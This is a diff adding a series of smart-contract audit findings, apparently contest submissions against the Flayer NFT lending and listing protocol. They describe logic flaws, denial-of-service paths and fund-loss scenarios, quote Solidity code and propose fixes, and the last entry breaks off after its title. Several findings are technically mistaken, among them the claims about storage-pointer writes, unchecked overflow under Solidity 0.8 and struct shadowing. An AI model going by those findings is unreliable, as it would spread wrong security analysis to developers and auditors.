--- /dev/null
+++ b/716.md
@@ -0,0 +1,83 @@
+Round Silver Cuckoo
+
+Medium
+
+# User's listing can expire unexpectedly due to pause
+
+## Summary
+The `listing::getListingType` function is time-dependent and is used to determine the type of a specific listing within the protocol. Liquid listings expire after a specified period and transition into dutch listings. However, pause time can affect this process, as it is not considered in the calculation
+
+
+## Vulnerability Detail
+Medusa creates a liquid listing and expects it to expire in 150 days
+Medusa's listing has not been filled even on day 149 since her listing
+The protocol became paused some hours to the end of day 150 and still remain paused after day 150
+medusa's listing has now expired is now a Dutch listing
+Medusa can no longer modify her listing, or cancel her listing 😭
+Recon can now buy her listing as Dutch 💀
+
+## Impact
+User's listing gets expired not considering pause time
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L962
+There is an `if` statement below which prevents you from calling the `modifyListings` function if your listing has expired
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // Store the listing
+ ModifyListing memory params = _modifyListings[i];
+ Listing storage listing = _listings[_collection][params.tokenId];
+
+ // We can only modify liquid listings
+@> if (getListingType(listing) != Enums.ListingType.LIQUID) revert InvalidListingType();
+```
+There is an `if` statement below which prevents you from calling the `cancelListings` function if your listing has expired
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ uint fees;
+ uint refund;
+
+ for (uint i; i < _tokenIds.length; ++i) {
+ uint _tokenId = _tokenIds[i];
+
+ // Read the listing in a single read
+ Listing memory listing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // We cannot allow a dutch listing to be cancelled. This will also check that a liquid listing has not
+ // expired, as it will instantly change to a dutch listing type.
+ Enums.ListingType listingType = getListingType(listing);
+ @> if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+```
+The code block here shows how listing types are determined
+```solidity
+ function getListingType(Listing memory _listing) public view returns (Enums.ListingType) {
+ // If we cannot find a valid listing and get a null parameter value, then we know
+ // that the listing does not exist and it is therefore just a base token.
+ if (_listing.owner == address(0)) {
+ return Enums.ListingType.NONE;
+ }
+
+ // If the listing was created as a dutch listing, or if the liquid listing has
+ // expired, then this is a dutch listing.
+ if (
+ (_listing.duration >= MIN_DUTCH_DURATION && _listing.duration <= MAX_DUTCH_DURATION) ||
+@> _listing.created + _listing.duration < block.timestamp
+ ) {
+ return Enums.ListingType.DUTCH;
+ }
+
+ // For all other eventualities, we have a default liquid listing
+ return Enums.ListingType.LIQUID;
+
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider taking pause time into consideration to avoid
\ No newline at end of file
diff --git a/718.md b/718.md
new file mode 100644
index 0000000..0b8321b
--- /dev/null
+++ b/718.md
@@ -0,0 +1,26 @@
+Bright Emerald Fish
+
+High
+
+# A reserved token listing cannot be unlocked.
+
+
+## Summary
+If a user reserves an ERC721 using `ProtectedListings::reserve` there is no functionality for the user to withdraw the ERC721.
+
+## Vulnerability Detail
+A reserved listing according to the documentation enables a user to place a reservation for an NFT untill they have enough tokens to purchase the NFT.
+The `ProtectedListings::reserve` function lets a user place the reservation but there is no way a user can retrieve the NFT when they have gotten enough tokens to pay for the NFT.
+
+## Impact
+The collateral the user spent to place the reservation will be lost.
+
+## Code Snippet
+The code for the reserve function -- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-#L759
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add functionality to redeem reserved listings
\ No newline at end of file
diff --git a/719.md b/719.md
new file mode 100644
index 0000000..d6116a7
--- /dev/null
+++ b/719.md
@@ -0,0 +1,65 @@
+Spare Infrared Gerbil
+
+High
+
+# user can create listing with dust amount to block collection shutdown
+
+### Summary
+
+User can create listing with dust amount to block collection shutdown because interest will accreu slowly keeping the position healthy for a long time
+
+### Root Cause
+
+[`CollectionShutdown::execute(..)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241) cannot be called when there are still active protected listings in the protocol, Hence a user can create listing with a dust amount and leave it for as long as possible considering that the position will be healthy for a long time
+
+```solidity
+ function _hasListings(address _collection) internal view returns (bool) {
+ IListings listings = locker.listings();
+ if (address(listings) != address(0)) {
+ if (listings.listingCount(_collection) != 0) {
+ return true;
+ }
+
+
+ // Check that no protected listings currently exist
+ IProtectedListings protectedListings = listings.protectedListings();
+ if (address(protectedListings) != address(0)) {
+ @> if (protectedListings.listingCount(_collection) != 0) {
+ return true;
+ }
+```
+
+As seen below, the [health check](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L500) for a position calls [`unlockPrice(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L612-L616) which in turn calls [compound](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90) to calculate the
+
+
+```solidity
+ function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+ // So we start at a whole token, minus: the keeper fee, the amount of tokens borrowed
+ // and the amount of collateral based on the protected tax.
+ @> return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+ }
+```
+
+### Internal pre-conditions
+
+Dust amount can be borrowed for a long time and the positions will still be healthy
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+User creates listing for dust amount and leaves it without unlocking the listing knowing that the position will still be healthy even after long time
+
+### Impact
+
+`CollectionShutdown::execute(..)` can be DOS preventing the shutdown of a collection for a long time
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider implementing an algorithm to prevent users borrowing dust amount for a long period
\ No newline at end of file
diff --git a/721.md b/721.md
new file mode 100644
index 0000000..ffb24b1
--- /dev/null
+++ b/721.md
@@ -0,0 +1,38 @@
+Lone Powder Shrimp
+
+High
+
+# the fee is also burned
+
+### Summary
+
+in Listing.cancelListing line 453 the fee is also burned because **requiredAmount** is the base amount minus the refund and in line 453 when burning it is adding **requiredAmount** and **refund** which means that it is also burning the fee amount and in line 456 it is transferring the fee amount which might be transferring the user amount
+
+### Root Cause
+
+in Listing:453 when burning requiredAmount + refund
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L453
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+loss of fund
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/726.md b/726.md
new file mode 100644
index 0000000..916697d
--- /dev/null
+++ b/726.md
@@ -0,0 +1,18 @@
+Bubbly Golden Hamster
+
+High
+
+# There is a problem with the logic of the function that cancels the shutdown process
+
+## Summary
+There is a problem with the logic of the function that cancels the shutdown process.
+## Vulnerability Detail
+When the vote is passed and totalSupply <= MAX_SHUTDOWN_TOKENS, anyone can cancel the shutdown process. At this time, collectionParams will be directly deleted, making it impossible for users to retrieve their collectionToken.
+## Impact
+The user's collectionToken will be locked in the CollectionShutdown contract.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390
+## Tool used
+Manual Review
+## Recommendation
+Add the logic of returning collectionToken in the cancel function.
\ No newline at end of file
diff --git a/733.md b/733.md
new file mode 100644
index 0000000..3c2ce1b
--- /dev/null
+++ b/733.md
@@ -0,0 +1,72 @@
+Helpful Lavender Mule
+
+High
+
+# The function transferOwnership does not update anything
+
+### Summary
+
+The function `transferOwnership` initializes a struct called `listing` and changes the owner there but mistakenly does not set the `_listings` array to that updated struct.
+
+### Root Cause
+
+```solidity
+function transferOwnership(address _collection, uint _tokenId, address payable _newOwner) public lockerNotPaused {
+ // Prevent the listing from being transferred to a zero address owner
+ if (_newOwner == address(0)) revert NewOwnerIsZero();
+
+ // Ensure that the caller has permission to transfer the listing
+ Listing storage listing = _listings[_collection][_tokenId];
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Update the owner of the listing
+@> listing.owner = _newOwner;
+ emit ListingTransferred(_collection, _tokenId, msg.sender, _newOwner);
+ }
+```
+The problem with this function is that it takes the specific listing set by the user to be transferred stores it in Listing storage listing, then updates the owner only to listing. This is problematic because all functions are comparing _listings to compare the owner of a listing and second this is not an array that can hold multiple users like _listings it is a struct that can only process one user at a time so when a user is "updated" and another user calls this function it will change the contents to the second users parameters.
+
+There are two instances of this [1](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L393-L404), [2](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L240-L251)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A user calls a function like `reserve` in the listings contract
+2. It executes and reaches `transferOwnership` function
+3. It does not update `_listings` and does technically not update the owner
+
+
+### Impact
+
+The function e.g. reserve will not work correctly and will not transfer the ownership even though all the conditions shall be met (payment to owner).
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Instead of updating the storage listing update _listings or modify the code like this:
+```solidity
+ function transferOwnership(address _collection, uint _tokenId, address payable _newOwner) public lockerNotPaused {
+ // Prevent the listing from being transferred to a zero address owner
+ if (_newOwner == address(0)) revert NewOwnerIsZero();
+
+ // Ensure that the caller has permission to transfer the listing
+-- Listing storage listing = _listings[_collection][_tokenId];
+++ Listing memory listing = _listings[_collection][_tokenId]; // use memory to save gas
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Update the owner of the listing
+ listing.owner = _newOwner;
+++ _listings[_collection][_tokenId].owner = listing.owner = _newOwner;
+ emit ListingTransferred(_collection, _tokenId, msg.sender, _newOwner);
+ }
+```
\ No newline at end of file
diff --git a/738.md b/738.md
new file mode 100644
index 0000000..c3c0b3b
--- /dev/null
+++ b/738.md
@@ -0,0 +1,39 @@
+Lone Powder Shrimp
+
+High
+
+# anyonce can steals other people token in locker
+
+### Summary
+
+in locker when redeeming it is not checking whose token id that we are reedming so if one tokenid is worth of others and it is deposited another user can deposit the same nft with less worth tokenid and then call the **redeem** function with the more worth tokooenid
+
+### Root Cause
+
+in locker function redeem there is no check for whose tokenid that we are redeming
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+loss of fund
+we can steals other people tokenid that is worth
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/744.md b/744.md
new file mode 100644
index 0000000..11a0717
--- /dev/null
+++ b/744.md
@@ -0,0 +1,37 @@
+Lone Powder Shrimp
+
+High
+
+# a user can use the relist function to buy because it is more cheaper than the fillListings
+
+### Summary
+
+in fillListings the caller have to first transfer the **totalPrice** and also burn the base amount that the lister received when listing but in **relist** the user only have to Pay listingPrice - listingFloorPrice and the tax so the base amount that the lister received when depositing is not accounted in here
+
+### Root Cause
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625
+in Listing function relist is more cheaper when buying
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+loss for the protocol
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/746.md b/746.md
new file mode 100644
index 0000000..ca214a7
--- /dev/null
+++ b/746.md
@@ -0,0 +1,38 @@
+Daring Strawberry Eel
+
+High
+
+# Incorrect Handling of Token Denominations
+
+## Summary
+
+The contract frequently multiplies token amounts by both 1 ether and 10 ** locker.collectionToken(...).denomination(). This double scaling can lead to exceedingly large values, especially if the token’s denomination is already set to 18 (a common standard for ERC20 tokens).
+
+## Vulnerability Detail
+
+In createListings()
+
+`tokensReceived = _mapListings(listing, tokensIdsLength) * 10 ** locker.collectionToken(listing.collection).denomination(); `
+
+Here, _mapListings returns tokensReceived_ = _tokenIds * 1 ether, which is already 1 * 10^18. Multiplying this by 10 ** 18 (if denomination is 18) results in tokensReceived = _tokenIds * 10^36, which is incorrect.
+
+In cancelListings()
+`uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund; `
+Similar to the above, if _tokenIds.length = 1 and denomination = 18, requiredAmount becomes 10^36 - refund, which is not a valid ERC20 token amount.
+
+## Impact
+
+Users might receive or be required to pay amounts that are astronomically high, effectively rendering the contract unusable for practical purposes.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L146
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L451
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Remove one layer of scaling. Typically, ERC20 tokens already account for their denomination, so using 1 ether (which is 10^18 wei) alongside 10 ** denomination is redundant. Instead, standardize the scaling based on the token’s denomination.
\ No newline at end of file
diff --git a/748.md b/748.md
new file mode 100644
index 0000000..453fae5
--- /dev/null
+++ b/748.md
@@ -0,0 +1,22 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# Signature Replay Attack Vulnerability in `Airdrop` Mechanism
+
+## Summary
+The `AirdropRecipient` contract is vulnerable to signature replay attacks due to the lack of nonce management, timestamping, and contextual binding in the signature verification process. This vulnerability can lead to unauthorized claims and financial losses.
+## Vulnerability Detail
+The contract `AirdropRecipient` uses `SignatureCheckerLib.isValidSignatureNow` for verifying signatures. However, this method does not inherently protect against replay attacks. Without a nonce, timestamp, or contextual data in the signed message, valid signatures can be reused, allowing unauthorized parties to claim airdrops multiple times in diffrent chains.
+## Impact
+Unauthorized claims of airdrops through replayed valid signatures.
+Potential financial losses and depletion of airdrop resources.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L58C1-L63C1
+## Tool used
+
+Manual Review
+
+## Recommendation
+Include Nonce,ChainId or Timestamp during the signature verifications.
\ No newline at end of file
diff --git a/749.md b/749.md
new file mode 100644
index 0000000..ac71da1
--- /dev/null
+++ b/749.md
@@ -0,0 +1,38 @@
+Cuddly Ocean Gibbon
+
+Medium
+
+# Frontrun of execute can lead the DOS of voting
+
+## Summary
+
+An attacker can prevent a fair vote from completing in `CollectionShutdown` by frontrunning `execute`.
+
+## Vulnerability Detail
+
+Since anyone can call `cancel()` in `CollectionShutdown.sol` it is possible to frontrun execution of `execute()` function, which allows an attacker to prevent a fair vote from being completed.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+
+Attack scenario:
+
+1. Collection holders vote,
+2. The number of votes reaches `quorumVotes` and `canExecute` becomes `true`,
+3. `Owner` calls `execute`,
+4. The attacker front-runs the `Owner`'s transaction with their own, in which they call `cancel`,
+5. The fair vote is cancelled, it needs to be started again, the attacker can do this as many times as they want since the attack doesn't require significant resources.
+
+## Impact
+
+DoS of voting, users have to withdraw their votes and vote again, which in turn causes gas expenses
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+To avoid these risks, in our opinion, one of the following solutions can be used:
+
+1. Remove the ability for anyone to cancel the voting, delegate such rights either only to the `Owner` or, at the very least, to a collection holder, which will reduce the risks of such attack scenarios, but this only increases the cost of the attack, as the attacker would need to be a collection holder
+2. To completely eliminate such risks - it is necessary to remove the `cancel` function as this is generally a strange solution, considering that one person can decide for all collection holders.
\ No newline at end of file
diff --git a/750.md b/750.md
new file mode 100644
index 0000000..95d3c84
--- /dev/null
+++ b/750.md
@@ -0,0 +1,60 @@
+Helpful Lavender Mule
+
+High
+
+# The struct CreateListing exists two times which can cause shadowing and unexepcted behavior
+
+### Summary
+
+There are two structs called CreateListing, this can cause one to shadow the other.
+
+### Root Cause
+
+```solidity
+ struct CreateListing {
+ address collection;
+ uint[] tokenIds;
+ Listing listing;
+ }// IListings.sol
+
+ struct CreateListing {
+ address collection;
+ uint[] tokenIds;
+ ProtectedListing listing;
+ } // IProtectedListings.sol
+```
+As we can see there are 2 structs both called CreateListing being imported both in the listings contract.
+```solidity
+@> import {IListings} from '@flayer-interfaces/IListings.sol';
+import {ILocker} from '@flayer-interfaces/ILocker.sol';
+@> import {IProtectedListings} from '@flayer-interfaces/IProtectedListings.sol';
+// Listings.sol
+```
+As the compiler imports both of them this can cause shadowing(not allowing one to run) or not compile at all.
+[1](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/interfaces/IProtectedListings.sol#L62-L67), [2](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/interfaces/IListings.sol#L72-L76)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A user calls the function createListings which uses the struct CreateListings
+2. This causes unexpected behavior/fails unexpectedly
+
+
+### Impact
+
+This could render the function useless, get unexpected behavior or the compiler wont compile.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Change the name of one of the structs.
\ No newline at end of file
diff --git a/751.md b/751.md
new file mode 100644
index 0000000..c1d6b9c
--- /dev/null
+++ b/751.md
@@ -0,0 +1,201 @@
+Fit Cyan Kookaburra
+
+High
+
+# Unchecked arithmetic operations will lead to incorrect calculations for users
+
+### Summary
+
+In multiple files (`TaxCalculator.sol`, `LinearRangeCurve.sol`, `Listings.sol`, `ProtectedListings.sol`, `UniswapImplementation.sol`), unchecked arithmetic operations will lead to incorrect calculations for users as underflows and overflows may occur without proper validation.
+
+### Root Cause
+
+Arithmetic operations are performed without ensuring values remain within data type bounds:
+
+- **Underflow Errors:**
+
+ - **[`TaxCalculator.sol`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol):**
+
+ - **Line [69](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L69):** Subtraction `_utilizationRate - UTILIZATION_KINK` may underflow if `_utilizationRate` is less than `UTILIZATION_KINK`.
+
+ ```solidity
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ ```
+
+ - **[`LinearRangeCurve.sol`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/lib/LinearRangeCurve.sol):**
+
+ - **Line [60](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/lib/LinearRangeCurve.sol#L60):** Subtraction `end - start` may underflow if `end` is less than `start`.
+
+ ```solidity
+ inputValue = numItems * (spotPrice * (end - block.timestamp) / (end - start));
+ ```
+
+ - **[`Listings.sol`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol):**
+
+ - **Line [933](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L933):** Subtraction `_listing.duration - (block.timestamp - _listing.created)` may underflow if `block.timestamp - _listing.created` exceeds `_listing.duration`.
+
+ ```solidity
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ ```
+
+- **Overflow Errors:**
+
+ - **[`TaxCalculator.sol`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol):**
+
+ - **Line [90](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90):** Multiplication of large values without checks may overflow.
+
+ ```solidity
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ ```
+
+ - **[`ProtectedListings.sol`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol):**
+
+ - **Line [273](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L273):** Multiplication of large numbers may overflow.
+
+ ```solidity
+ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ ```
+
+ - **[`UniswapImplementation.sol`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol):**
+
+ - **Line [607](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L607):** Multiplying `swapAmount` by `ammFee` may overflow.
+
+ ```solidity
+ uint feeAmount = uint128(swapAmount) * ammFee / 100_000;
+ ```
+
+### Internal pre-conditions
+
+1. **Underflow Conditions:**
+
+ - **`TaxCalculator.sol` Line 69:**
+ - `_utilizationRate` is less than `UTILIZATION_KINK`.
+ - **`LinearRangeCurve.sol` Line 60:**
+ - `end` is less than `start`.
+ - **`Listings.sol` Line 933:**
+ - `block.timestamp` exceeds `_listing.created + _listing.duration`.
+
+2. **Overflow Conditions:**
+
+ - **`TaxCalculator.sol` Line 90:**
+ - `_previousCompoundedFactor`, `perSecondRate`, or `_timePeriod` are large enough to cause overflow.
+ - **`ProtectedListings.sol` Line 273:**
+ - `listingsOfType_` and `collectionToken.denomination()` are large.
+ - **`UniswapImplementation.sol` Line 607:**
+ - `swapAmount` and `ammFee` are large values close to their maximum limits.
+
+### External pre-conditions
+
+N/A.
+
+### Attack Path
+
+1. **Users invoke functions with vulnerable arithmetic operations:**
+
+ - For example, functions that calculate interest rates, utilization rates, or fees.
+
+2. **Underflow or overflow occurs during calculations:**
+
+ - Arithmetic operations exceed the data type limits.
+
+3. **Incorrect values are computed, or transactions revert:**
+
+ - Users receive wrong amounts or experience transaction failures.
+
+### Impact
+
+The users suffer incorrect calculations, which can lead to financial losses or contract instability due to underflow and overflow errors in arithmetic operations.
+
+### PoC
+
+**Underflow in `TaxCalculator.sol` Line 69:**
+
+```solidity
+uint256 UTILIZATION_KINK = 0.8 ether;
+uint256 _utilizationRate = 0.5 ether; // Less than UTILIZATION_KINK
+
+// Underflow occurs here
+uint256 interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+// _utilizationRate - UTILIZATION_KINK underflows
+```
+
+**Overflow in `UniswapImplementation.sol` Line 607:**
+
+```solidity
+uint128 swapAmount = type(uint128).max; // Maximum uint128 value
+uint256 ammFee = 100000; // Large fee
+
+// Potential overflow during multiplication
+uint256 feeAmount = uint128(swapAmount) * ammFee / 100_000;
+// Multiplication overflows, resulting in incorrect feeAmount
+```
+
+**Overflow in `UniswapImplementation.sol` Line 607:**
+
+```solidity
+uint128 swapAmount = type(uint128).max; // Maximum uint128 value
+uint256 ammFee = 100000; // Large fee
+
+// Potential overflow during multiplication
+uint256 feeAmount = uint128(swapAmount) * ammFee / 100_000;
+// Multiplication overflows, resulting in incorrect feeAmount
+```
+### Mitigation
+
+- **Use Safe Arithmetic Operations:**
+
+ - Utilize Solidity 0.8's built-in overflow and underflow checks.
+
+- **Add Validation Checks:**
+
+ - **For Underflow:**
+
+ - **`TaxCalculator.sol` Line 69:**
+
+ ```solidity
+ require(_utilizationRate >= UTILIZATION_KINK, "Utilization rate must be >= UTILIZATION_KINK");
+ ```
+
+ - **`LinearRangeCurve.sol` Line 60:**
+
+ ```solidity
+ require(end > start, "End time must be greater than start time");
+ ```
+
+ - **`Listings.sol` Line 933:**
+
+ ```solidity
+ uint256 timeElapsed = block.timestamp - _listing.created;
+ require(timeElapsed <= _listing.duration, "Listing has already ended");
+ ```
+
+ - **For Overflow:**
+
+ - **`TaxCalculator.sol` Line 90:**
+
+ ```solidity
+ // Ensure values are within safe limits
+ require(perSecondRate * _timePeriod / 1000 <= MAX_ALLOWED_VALUE, "Value too large");
+ ```
+
+ - **`ProtectedListings.sol` Line 273:**
+
+ ```solidity
+ // Use safe multiplication functions or check for potential overflows
+ require(listingsOfType_ <= MAX_LISTINGS, "Too many listings");
+ ```
+
+ - **`UniswapImplementation.sol` Line 607:**
+
+ ```solidity
+ // Ensure swapAmount and ammFee are within safe ranges
+ require(uint256(swapAmount) * ammFee / 100_000 <= MAX_FEE_AMOUNT, "Fee amount overflow");
+ ```
+
+- **Implement Safe Math Libraries:**
+
+ - Use libraries like OpenZeppelin's `SafeMath` for versions of Solidity before 0.8.
+
+- **Limit Input Values:**
+
+ - Set maximum allowable values for inputs that could cause overflows.
\ No newline at end of file
diff --git a/753.md b/753.md
new file mode 100644
index 0000000..16182d6
--- /dev/null
+++ b/753.md
@@ -0,0 +1,37 @@
+Spare Infrared Gerbil
+
+High
+
+# There is no way to replay failed messages in the `InfernalRiftAbove` and `InfernalRiftBelow` contract
+
+### Summary
+
+In the `InfernalRiftAbove` and `InfernalRiftBelow` contracts, sent messages could fail for any reason, but there is no way to retry/retrieve failed messages leading to loss of funds.
+
+### Root Cause
+
+users can [send ERC721](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83) and [ERC1155]() tokens cross chain between L1 and L2 using the `InfernalRiftAbove` and `InfernalRiftBelow` contracts. However, transactions can fail and there is no way to retrieve or retry them because the contracts do not expose functions for these purposes. Leading to funds getting stuck in the contracts.
+
+### Internal pre-conditions
+
+Protocol does not make room for retrying or retrieving failed transactions
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Possible loss of NFT for users who want to transfer asset between L1 and L2
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement functions to enable retrying failed messages.
\ No newline at end of file
diff --git a/756.md b/756.md
new file mode 100644
index 0000000..590bb00
--- /dev/null
+++ b/756.md
@@ -0,0 +1,64 @@
+Cuddly Ocean Gibbon
+
+High
+
+# User can withdraw all N free NFT from Locker for 1 token + txes instead of N token just in one tx.
+
+## Summary
+
+The Locker stores all NFTs that interact with the protocol. NFTs can enter the locker in the following ways:
+
+- The user lists their NFT for sale in `Listings / ProtectedListings` (these NFTs are locked until the end of the listing). It's worth noting that this method immediately returns `1 Collection Token` to the user.
+- The user exchanges an NFT for `1 Collection Token` using the `Locker::deposit` functions (NFTs that enter the contract this way are available for withdrawal from the Locker using `Locker::redeem`, which in turn burns `1 Collection Token` from the user, returning them an NFT (any free NFT that is on the contract))
+
+Thus, the normal behavior of the protocol assumes the following invariants:
+
+- Free NFTs should be in the Locker so that the user can use the redeem function
+- 1 FLOOR PRICE NFT = 1 Collection Token (this is especially clear from the logic of the listing, where the user specifies floorMultiple - how many tokens above the floor they should be paid for their NFT, however, they are guaranteed to receive `1 collection token` when sold)
+
+The attack, the essence of which will be described below, allows an attacker to take all free NFTs from the locker for just 1 NFT and a relatively small number of tokens to cover the commission, putting them up for sale. Thus, as a result of this attack, the following will happen.
+
+n - number of free NFTs on the `Locker` contract
+
+- The attacker, using 1 + n * listing_tax collection tokens, can earn n + 1 tokens in one transaction
+- All free NFTs of the `Locker` contract will be withdrawn and put up for sale, which means the `redeem` functionality allowing to quickly exchange their NFT for `1 Collection Token` will be unavailable.
+
+## Vulnerability Detail
+
+So, let's describe the attack scenario.
+
+Let's say there are `n` free NFTs currently on the `Locker` contract.
+
+Let's say the attacker has one NFT and `n * listing_tax collection tokens`.
+
+Then the attacker only needs to do the following:
+
+1. List their NFT for sale in `Listings` by calling `CreateListings`, paying `listing_tax` (user NFTs = 0, free NFTs = n)
+2. As mentioned above, `CreateListings` returns `1 Collection Token` to the user in the same transaction
+3. In the same transaction, the user withdraws 1 free NFT from `Locker`, exchanging it for the token received from `CreateListings` (user NFTs = 1, free NFTs = n - 1)
+4. Go back to step 1.
+
+At the end, the state will be as follows. (user NFTs on sell = n + 1, free NFTs = 0)
+
+If in
+
+If in the normal behavior of the protocol, `1 free NFT` would be exchanged for `1 Collection token` which would be burned, then in the case of an attack, this is simply an easy way for the attacker to enrich themselves (tokens that in a normal scenario would simply be burned, reducing totalSupply and driving up the price of tokens, as a result of the attack are simply redistributed to the attacker's wallet from other users). Moreover, this also breaks one of the protocol's functionalities - `Locker::redeem`
+
+## Impact
+
+The possibility of this attack in the Flayer protocol is in many ways similar to the possibility of a Sandwich attack in Uniswap. (It also harms the protocol's economy, moreover, it blocks the functionality of quickly exchanging NFT for 1 token).
+
+However, the Sandwich attack is possible due to the structure of the EVM, while this attack is due to shortcomings in the current economic model/implementation.
+
+Severity: High
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Perhaps the simplest way to avoid this problem is to not return 1 token to the user during createListings, but only when the listing is realized.
\ No newline at end of file
diff --git a/759.md b/759.md
new file mode 100644
index 0000000..0824ebb
--- /dev/null
+++ b/759.md
@@ -0,0 +1,25 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# In `Moongate` `InfernalRiftAbove` contract Silent Failure in Royalty Handling for Non-EIP-2981-Compliant Tokens
+
+## Summary
